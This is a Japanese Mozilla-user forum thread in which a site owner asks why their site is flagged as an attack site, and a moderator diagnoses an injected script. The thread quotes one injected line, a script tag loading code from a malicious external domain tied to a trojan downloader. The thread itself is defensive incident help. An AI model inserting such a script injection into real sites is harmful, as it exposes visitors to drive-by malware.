― MozillaZine.jp フォーラムは Mozilla 製品に関する情報交換の場です ―



All times are UTC + 9 hours

新しいトピックを投稿する トピックへ返信する  [ 6 件の記事 ] 
作成者 メッセージ
 記事の件名: ウイルス表示?
投稿記事Posted: 2009年11月17日(火) 16:35 
http ://www.aeonflux.jp/
このサイトの運営者なのですが、

攻撃サイトとして報告されています!
と表示されます。。。

どうすれば治るのでしょうか?

よろしくお願いいたします。

※ この話題は Firefox の機能とは直接関係のないものですので [ web 標準 ]フォーラムへ移動致します。
※ 尚、次回からは適切なフォーラムを選択の上、投稿下さいますようお願い申し上げます。
※ リダイレクト先にウィルスが仕込まれているとの情報がありましたので、URL に半角スペースを挿入してあります。ご注意下さい。 by moderator (ぼてじゃこ)


通報する
ページトップ
  
引用付きで返信する  
 記事の件名: Re: ウイルス表示?
投稿記事Posted: 2009年11月17日(火) 18:37 
オフライン

登録日時: 2006年9月05日(火) 18:47
記事: 4207
 
「攻撃サイトとして報告されています!」という警告メッセージが表示されます。
ウイルス表示ではありません。

その警告メッセージ内の「このサイトがブロックされる理由」をクリックすると
「このサイトの所有者であれば、Google ウェブマスター ツールを使ってサイト
の審査を依頼することができます。審査プロセスの詳細については ウェブマ
スター ヘルプをご覧ください。」
とあります。
 
誤報告で「攻撃サイト」にされたのであれば上記の説明に従い、サイトの審査
を依頼すればいいのではありませんか。

 
*質問・投稿する前に フォーラムの利用について をきちんと読みましょう。
*環境として OS の種類、Firefox のバージョンぐらいは書き添えましょう。
*質問した後は結果や経過を必ず書くようにしましょう。

 


通報する
ページトップ
 プロフィール  
引用付きで返信する  
 記事の件名: Re: ウイルス表示?
投稿記事Posted: 2009年11月19日(木) 14:09 
オフライン
Moderator

登録日時: 2007年7月25日(水) 09:52
記事: 415
お住まい: 東京都下
「このサイトがブロックされる理由」をクリックした先のページに
引用:
不正なソフトウェアは jn06.nl/ を含む 1 個のドメインでホストされています。

との表記が見られます。

トップページのソースを確認するとHTMLヘッダのすぐ下に
コード:
<script src=http://jn06.nl/countdown/wp-config.php ></script><body>

という1行があります。

もしかしたらウェブページに上記スクリプトを埋め込まれた可能性があるのではないでしょうか。
(私はあまり詳しくはありませんが)上記スクリプトによっておそらく他のページにリダイレクト
(転送)され、そのリダイレクト先で「ユーザーの同意なしに不正なソフトウェアがダウンロード
され、インストールされて
」しまうのではないかと推測されます。

というのも実は、私も仕事の関係でさくらインターネットにホスティングしているページについて、
似たような攻撃を受けました。おそらく悪意のプログラムによる総当たりか何かの方法で、FTP
パスワードがクラックされたのではないかと推測されました。幸いこちらの場合は、サイト上の
セキュリティが働いて空白ページしか表示されないようになっておりましたので、攻撃サイトとの
指定を受けることもなく、閲覧者の被害もなかったと思われます。

もしかしたら同じ手口のものかもしれません。FTP等のパスワードをすべて変更し(こまめに変更
したほうがいいかと思われます)一度、すべてのページのソースをチェックされることをお勧めします。

それらが原因だとしたら、それを取り除かないと Google にいくら解除を申請してもダメではないかと
思われます。


最後に編集したユーザー Sakiba [ 2009年11月19日(木) 15:16 ], 累計 1 回

通報する
ページトップ
 プロフィール  
引用付きで返信する  
 記事の件名: Re: ウイルス表示?
投稿記事Posted: 2009年11月19日(木) 14:47 
オフライン
Moderator

登録日時: 2007年7月25日(水) 09:52
記事: 415
お住まい: 東京都下
追記いたします。
リダイレクト先のサイトについてチェックしてみました。

↓ ※誤って踏まないよう、URL中にわざと半角スペース入れてあります。
http ://jn06.nl/countdown/wp-config.php では何も表示されませんでしたが、
http ://jn06.nl/countdown/ とすると下記リンクの通り、

検出されたウイルス(ワーム、スパイウエア)Trojan-Downloader.JS.Shadraem.a

との検出結果が出ました。

● aguse.jp:調査結果


通報する
ページトップ
 プロフィール  
引用付きで返信する  
 記事の件名: Re: ウイルス表示?
投稿記事Posted: 2009年11月19日(木) 19:01 
To Moderator.
Sakibaさんのコメントを見る限りウイルスが仕込まれたサイトに誘導されるようなので, コメント #0のリンクは無効にし,注意書きされた方がよろしいかと


通報する
ページトップ
  
引用付きで返信する  
 記事の件名: Re: ウイルス表示?
投稿記事Posted: 2009年11月20日(金) 10:05 
オフライン
Moderator

登録日時: 2007年7月25日(水) 09:52
記事: 415
お住まい: 東京都下
放置 さん さんが書きました:
To Moderator.
Sakibaさんのコメントを見る限りウイルスが仕込まれたサイトに誘導されるようなので, コメント #0のリンクは無効にし,注意書きされた方がよろしいかと

そうですよね、大変失礼しました。そこまで気が回っておりませんでした。

対応いただいた方、ありがとうございました。

#あと、記載されているサイトの著作権云々も気になるのですが……?


通報する
ページトップ
 プロフィール  
引用付きで返信する  
期間内表示:  ソート  
新しいトピックを投稿する トピックへ返信する  [ 6 件の記事 ] 

All times are UTC + 9 hours


オンラインデータ

このフォーラムを閲覧中のユーザー: なし & ゲスト[13人]


トピック投稿:  可
返信投稿:  可
記事編集: 不可
記事削除: 不可
ファイル添付: 不可

検索:
ページ移動:  
Powered by MozillaZine.jp® Forum Software © phpBB Group , Almsamim WYSIWYG
Japanese translation principally by ocean